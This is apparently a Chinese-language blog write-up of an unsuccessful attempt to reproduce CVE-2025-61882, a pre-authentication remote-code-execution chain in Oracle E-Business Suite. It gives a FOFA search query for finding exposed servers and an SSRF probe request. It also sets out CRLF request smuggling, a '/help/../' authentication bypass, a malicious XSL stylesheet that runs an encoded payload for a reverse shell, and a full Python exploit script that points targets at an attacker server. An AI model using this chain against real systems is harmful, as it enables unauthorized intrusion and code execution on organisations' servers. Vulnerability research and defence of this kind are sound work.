CVE-2025-61882 漏洞复现(已失败)
漏洞描述
该漏洞源于Oracle E-Business Suite在处理用户请求时,多个组件存在安全缺陷:UiServlet未对用户提供的XML参数进行充分验证,导致SSRF漏洞;后续处理过程中缺乏对CRLF注入的有效防护,使攻击者可操纵HTTP请求;内部服务绑定配置不当及路径遍历防护不足,导致认证绕过;最终通过XSLT处理器加载恶意样式表时缺乏安全限制,实现远程代码执行。
影响产品
Oracle E-Business Suite, versions 12.2.3-12.2.14
FOFA查询语句参考:
title="E-Business Suite Home Page" || body="/OA_HTML/AppsLogin" || (body="Template <AD_TOP>/admin/template/index.html" && body="/OA_HTML/") || body="/OA_HTML/AppsLocalLogin.jsp" || header="/OA_HTML/AppsLogin" || banner="/OA_HTML/AppsLogin"
漏洞分析
watchtowr 团队的文章 Well, Well, Well. It's Another Day. (Oracle E-Business Suite Pre-Auth RCE Chain - CVE-2025-61882) 中对漏洞成因和利用方式做了详细的分析,此处只发表一些个人的总结与学习经验。
Begin From SSRF
oracle.apps.cz.servlet.UiServlet中有如下易受攻击的代码片段:
java
if (paramHttpServletRequest.getParameter("killAndRestartServer") != null) {
paramHttpServletResponse.sendError(400);
closeSession(httpSession);
} else if (paramHttpServletRequest.getParameter("generateOutput") != null) {
generateOutput(paramHttpServletRequest, paramHttpServletResponse);
} else if (paramHttpServletRequest.getParameter("getUiType") != null) {
String str = paramHttpServletRequest.getParameter("redirectFromJsp");// [1]
XMLDocument xMLDocument = XmlUtil.parseXmlString(paramHttpServletRequest.getParameter("getUiType"));// [0]
if (str == null || "false".equalsIgnoreCase(str)) {
redirectToCZInitialize(paramHttpServletRequest, paramHttpServletResponse, str2);
return;
}
createNew(xMLDocument, httpSession, paramHttpServletRequest, paramHttpServletResponse);// [2]
如果redirectFromJsp传入了值,createNew()函数会被调用,尝试将getUiType处传入的参数解析为 XML 文档
XML 中设置 name 属性为return_url的参数会被提取,传入 Adapter 解析:
java
String str1 = CZUiUtilities.resubXMLAndURLChars(XmlUtil.getReturnUrlParameter(paramXMLDocument));
clientAdapter.setReturnUrl(str1);
clientAdapter最终会调用postXmlMessage()函数,对变量进行处理:
java
protected void postXmlMessage(String paramString1, String paramString2) throws ServletException {
try {
this.m_sessionLogger.logTime("ClientAdapter.postXmlMessage: Redirect [raw] (", paramString1, ") for response.");
URL uRL = getUrl(paramString1);
if (uRL != null)
paramString1 = uRL.toExternalForm();
CZURLConnection cZURLConnection = new CZURLConnection(paramString1);
this.m_sessionLogger.logTime("ClientAdapter.postXmlMessage: Redirect [path resolved] (", cZURLConnection.getFullURL(), ") for response.");
String[] arrayOfString1 = { "XMLmsg" };
String[] arrayOfString2 = { paramString2 };
cZURLConnection.connect(1, arrayOfString1, arrayOfString2);
cZURLConnection.close();
} catch (Exception exception) {
if (exception instanceof oracle.apps.cz.utilities.SSLSupportUnavailableException && this.m_sessionLogger != null)
this.m_sessionLogger.logOutput(CZUiUtilities.stackTraceToString(exception));
throw new ServletException("Could not post XML message to result URL: " + exception.getMessage());
}
}
cZURLConnection.connect()会向我们传入的url发 POST 请求,由此造成可利用的 SSRF 漏洞。
java
private void connect(URL paramURL, String paramString) throws IOException {
HttpURLConnection httpURLConnection = (HttpURLConnection)paramURL.openConnection();
updateDefaultHeaders(httpURLConnection, ...);
httpURLConnection.setDoOutput(true);
httpURLConnection.setRequestMethod("POST");
if (httpURLConnection != null) {
this.m_connectionOutputStream = httpURLConnection.getOutputStream();
postMessage(paramString, httpURLConnection);
}
}
BP发包和 DNSLog 回显
可以通过发送如下请求,以接收DNS回显的形式判断漏洞存在
Html
POST /OA_HTML/configurator/UiServlet HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
redirectFromJsp=1&getUiType=<?xml version="1.0" encoding="UTF-8"?>
<initialize>
<param name="init_was_saved">test</param>
<param name="return_url">http://{{external-host}}</param>
<param name="ui_def_id">0</param>
<param name="config_effective_usage_id">0</param>
<param name="ui_type">Applet</param>
</initialize>
结果如下:


SSRF To RCE
CRLF
掌握了 SSRF 漏洞后,攻击者可以更进一步,利用 CRLF 有效载荷完全控制 SSRF 请求。
watchtowr 的作者指出
我们观察到的攻击链中的一个巧妙之处在于,利用 SSRF 有效载荷中的 CRLF 注入,然后通过滥用 HTTP 持久连接更进一步。
这种组合使攻击者能够通过 SSRF 控制请求帧,然后重用同一个 TCP 连接来链接其他请求,从而提高可靠性并减少噪声。
通过 HTTP keep-alive ,允许对 TCP 连接进行重用,这使我们最初的 SSRF 攻击成功后可以维持一个长连接,继续发起请求进行接下来的攻击。
两种方式的请求走私
Oracle E-Business Suite 部署会将应用程序的一些核心部分绑定到本地 7201 端口的 HTTP 服务中,后续进行访问获取:
shell
netstat -lnt
tcp6 0 0 172.31.28.161:7201 :::* LISTEN
这项服务并非绑定到本地主机,而是专门绑定到某个私有IP地址/接口,这使得我们可以尝试请求走私,通过 CRLF 修改请求头,将获取请求转到我们的恶意服务器。
第一种攻击方式是利用 Oracle EBS 经常会在 /etc/hosts 文件中进行映射的特性:
shell
cat /etc/hosts
172.31.28.161 apps.example.com apps
请求 http://apps.example.com:7201 相当于请求了内网。
还有一种攻击方式是先想办法触发 302 ,然后去拿 302 跳转的 Host:
python
req = sess.get(target + "/OA_HTML/runforms.jsp", headers=header, allow_redirects=False)
if req.status_code == 302:
location = req.headers['Location']
location_url = urllib.parse.urlparse(location)
if location_url.hostname != internal_host:
print(f'[*] reset internal_host: {location_url.hostname}')
Auth Bypass
如果你想直接访问 jsp 文件,那大概率会被拦截。
shell
curl -s http://apps.example.com:7201/OA_HTML/ieshostedsurvey.jsp
Requested resource or page is not allowed in this site
然而 /help/ 路由通常不需要认证,可以用它做跳板进行路径绕过,访问文件内容。
shell
curl -s --path-as-is http://apps.example.com:7201/OA_HTML/help/../ieshostedsurvey.jsp
XSL Transformation
如上所述,该攻击链的目标是/OA_HTML/help/../ieshostedsurvey.jsp,端口7201。
ieshostedsurvey.jsp其中一段代码虽然相当简单,但却拥有可以被利用的功能:
java
// /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/ieshostedsurvey.jsp
<!-- $Header: ieshostedsurvey.jsp 120.0 2005/06/03 07:43:36 appldev noship $ -->
<%@ include file="jtfincl.jsp" %>
<%@page language="java" import="java.sql.*" %>
<%@page language="java" import="oracle.xml.sql.query.*" %>
<%@page language="java" import="oracle.xml.parser.v2.*" %>
<%@page language="java" import="java.net.*" %>
<%@page language="java" import="java.io.*" %>
<%
//Admin Console assumed vars
String appName = "IES";
boolean stateless = true;
%>
<%@ include file="jtfsrnfp.jsp" %>
<html>
<head>
<%@ include file="jtfscss.jsp" %>
<title>Oralce iSurvey</title>
</head>
<body <%=_jtfPageContext.getHtmlBodyAttr() %> class='applicationBody'><%@ include file="jtfdnbar.jsp" %><% String uriloc = request.getRequestURI(); StringTokenizer st = new StringTokenizer(uriloc, "//"); int tokenCount = st.countTokens(); StringBuffer URI = new StringBuffer(); URI.append("/"); for( int i = 0; i < tokenCount-1; i++ ) {
URI.append(st.nextToken());
URI.append("/");
}
StringBuffer urlbuf = new StringBuffer(); // [1] urlbuf.append("http://"); // [2] urlbuf.append(request.getServerName()); // [3] urlbuf.append(":").append(request.getServerPort()).append(URI.toString()); // [4] String xslURL = urlbuf.toString() + "ieshostedsurvey.xsl"; // [5] String desturl = ServletSessionManager.getURL("iessvymenubased.jsp"); StringBuffer query = new StringBuffer("select s.survey_name || '--> ' || c.SURVEY_CYCLE_NAME || '--> ' || d.Deployment_name || '--> ' ||d.SURVEY_DEPLOYMENT_ID as survey_name,"); query.append("\\'").append(desturl).append("\\'").append(" uri ,d.SURVEY_DEPLOYMENT_ID as deployment_id " + " from IES_SVY_SURVEYS_ALL s, " + " IES_SVY_CYCLES_ALL c, " + " IES_SVY_DEPLYMENTS_ALL d " + " where " + " s.SURVEY_ID = c.SURVEY_ID " + " and c.SURVEY_CYCLE_ID = d.SURVEY_CYCLE_ID " + " and d.DEPLOYMENT_STATUS_CODE = 'ACTIVE' " + " and d.LIST_HEADER_ID is null " + " and sysdate between d.DEPLOY_DATE and d.RESPONSE_END_DATE "); Connection conn = null; OracleXMLQuery q = null; try{
conn = TransactionScope.getConnection();
q = new OracleXMLQuery(conn,query.toString());
}catch(Exception ex){
out.println(ex.getMessage());
if(conn != null)
conn.close();
}
XMLDocument xmlDoc = (XMLDocument)q.getXMLDOM(); //URL stylesheetURL = new URL("<http://kpandey-lap1.us.oracle.com/html/ieshostedsurvey.xsl>"); URL stylesheetURL = new URL(xslURL.toString()); // [6] XSLStylesheet sheet = new XSLStylesheet(stylesheetURL,stylesheetURL); // [7] XSLProcessor xslt = new XSLProcessor(); // [8] ByteArrayOutputStream outBytes = new ByteArrayOutputStream(); xslt.processXSL(sheet, xmlDoc, new PrintWriter(new BufferedWriter(new OutputStreamWriter(outBytes)))); // [9] String html =outBytes.toString(); out.println(html);%>
</body>
</html>
<%@ include file="jtfernlp.jsp" %>
这段代码的工作原理如下:
[1]创建一个字符串变量urlbuf[2]附加http://到urlbuf[3]从请求头的Host:中提取主机名并将其附加到urlbuf[4]从同一Host:中提取端口号并将其附加到urlbuf[5]将urlbuf + /ieshostedsurvey.xsl赋值给xslURL[6]根据xslURL构造一个URL对象,并将其赋值给stylesheetURL[7]用stylesheetURL实例化XSLStylesheet[8]创建一个XSLProcessor实例[9]调用xslt.processXSL(),该函数会获取并解析远程 XSL 文档。
综合起来,这段代码会根据传入的Host:标头构建一个远程 url,从而导致服务器从该 url 下载/ieshostedsurvey.xsl并解析。
由于 Java 中的 XSLT 处理可以调用模板和扩展函数,因此加载不受信任的样式表可以使攻击者能够实现任意远程代码执行。
恶意 xsl 脚本如下,如果成功可以通过反弹 Shell 进行 RCE。
xml
<xsl:stylesheet version="1.0"
xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>"
xmlns:b64="<http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder>"
xmlns:jsm="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager>"
xmlns:eng="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine>"
xmlns:str="<http://www.oracle.com/XSL/Transform/java/java.lang.String>">
<xsl:template match="/">
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'[base64_encoded_payload]')"/>
<xsl:variable name="js" select="str:new($bs)"/>
<xsl:variable name="m" select="jsm:new()"/>
<xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
<xsl:variable name="code" select="eng:eval($e, $js)"/>
<xsl:value-of select="$code"/>
</xsl:template>
</xsl:stylesheet>
尝试攻击(失败)
根据 Investigation into Oracle E-Business Suite (EBS) Exploit Components 这篇博客的思路,让 AI 辅助写了个攻击脚本。
python
import requests
import urllib.parse
import sys
# ================= Configuration =================
# 目标 Oracle EBS 服务器地址 (结尾不要带 /)
TARGET_URL = "http://target_url"
# 你的 OOB/攻击服务器 IP (用于接收请求走私的反弹连接)
EVIL_SERVER_IP = "evil_server_ip"
# 目标内部 Configurator 端口 (通常是 7201)
INTERNAL_PORT = 7201
# Cookie (根据抓包内容设置)
COOKIE = "JSESSIONID=_NG5Yg8cBERFjA5L23s9UUyzG7G8hSZpYkmc6YAEBjT71alQ2UH6!906988146; EBSDB=oSVgJCh0YacxUZCwOlLajtL2zo"
# 本地测试时,如果不需要走代理或BP,把这行注释掉
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
# PROXIES = None
# =================================================
def generate_payload(evil_ip, internal_port):
"""
构造恶意的 CRLF 注入 Payload,并进行全 HTML 实体编码
"""
# 1. 构造要注入的 HTTP 请求 (Smuggled Request)
# 严格按照用户提供的抓包格式构造
# 这里的 Cookie 和 Host 可以根据配置动态替换
smuggled_request = f'''/OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2
Host: {evil_ip}
User-Agent: anything
Connection: keep-alive
Cookie: {COOKIE}
POST /'''
# 替换为标准 CRLF (先统一转为 \n 再转为 \r\n,确保精确控制)
smuggled_request = smuggled_request.replace('\r\n', '\n').replace('\n', '\r\n')
# 2. 核心步骤:全字符 HTML 实体编码
encoded_entities = "".join([f"&#{ord(c)};" for c in smuggled_request])
# 3. 构造完整的 XML Payload
# 按照用户提供的 XML 结构
xml_payload = f'''<?xml version="1.0" encoding="UTF-8"?>
<initialize>
<param name="init_was_saved">test</param>
<param name="return_url">http://apps.example.com:{internal_port}{encoded_entities}</param>
<param name="ui_def_id">0</param>
<param name="config_effective_usage_id">0</param>
<param name="ui_type">Applet</param>
</initialize>'''
return xml_payload
def exploit():
target_endpoint = f"{TARGET_URL}/OA_HTML/configurator/UiServlet"
print(f"[*] Target: {target_endpoint}")
print(f"[*] Evil Server: {EVIL_SERVER_IP}")
# 生成 XML Payload
xml_data = generate_payload(EVIL_SERVER_IP, INTERNAL_PORT)
# 构造 POST Body 参数
post_data = {
"redirectFromJsp": "1",
"getUiType": xml_data
}
# 构造请求头 (参考用户抓包)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36",
"Accept-Encoding": "gzip, deflate, br",
"Accept": "*/*",
"Connection": "keep-alive",
"CSRF-XHR": "YES",
"FETCH-CSRF-TOKEN": "1",
"Cookie": COOKIE,
"Content-Type": "application/x-www-form-urlencoded"
}
try:
print("[*] Sending malicious payload...")
response = requests.post(
target_endpoint,
data=post_data,
headers=headers,
proxies=PROXIES,
verify=False,
timeout=15
)
print(f"[*] Response Status Code: {response.status_code}")
if response.status_code == 200:
print("[+] Success! Server accepted the payload (200 OK).")
print(f"[+] Please check your Evil Server ({EVIL_SERVER_IP}) logs for incoming connection.")
print("[+] Expected behavior: The server should request /OA_HTML/help/../ieshostedsurvey.jsp from your IP.")
elif response.status_code == 400:
print("[-] Failed (400 Bad Request). WAF or Parser still blocked the request.")
print("[-] Debug: Check if the target internal port 7201 is reachable by the servlet.")
else:
print(f"[-] Received unexpected status code: {response.status_code}")
print(f"[-] Response Body snippet: {response.text[:200]}")
except requests.exceptions.RequestException as e:
print(f"[!] Request failed: {e}")
if __name__ == "__main__":
exploit()
开了 web 服务打了一圈,结果并没有来我服务器下载脚本... (只招来一堆人在我端口上乱扫...)
BP 拉了一下请求包,发现报这个错误:

询问 AI (同时尝试了网络上其他脚本,也不能成功攻击):

不知道是否真的被过滤了,希望有经验的大佬可以解答吧。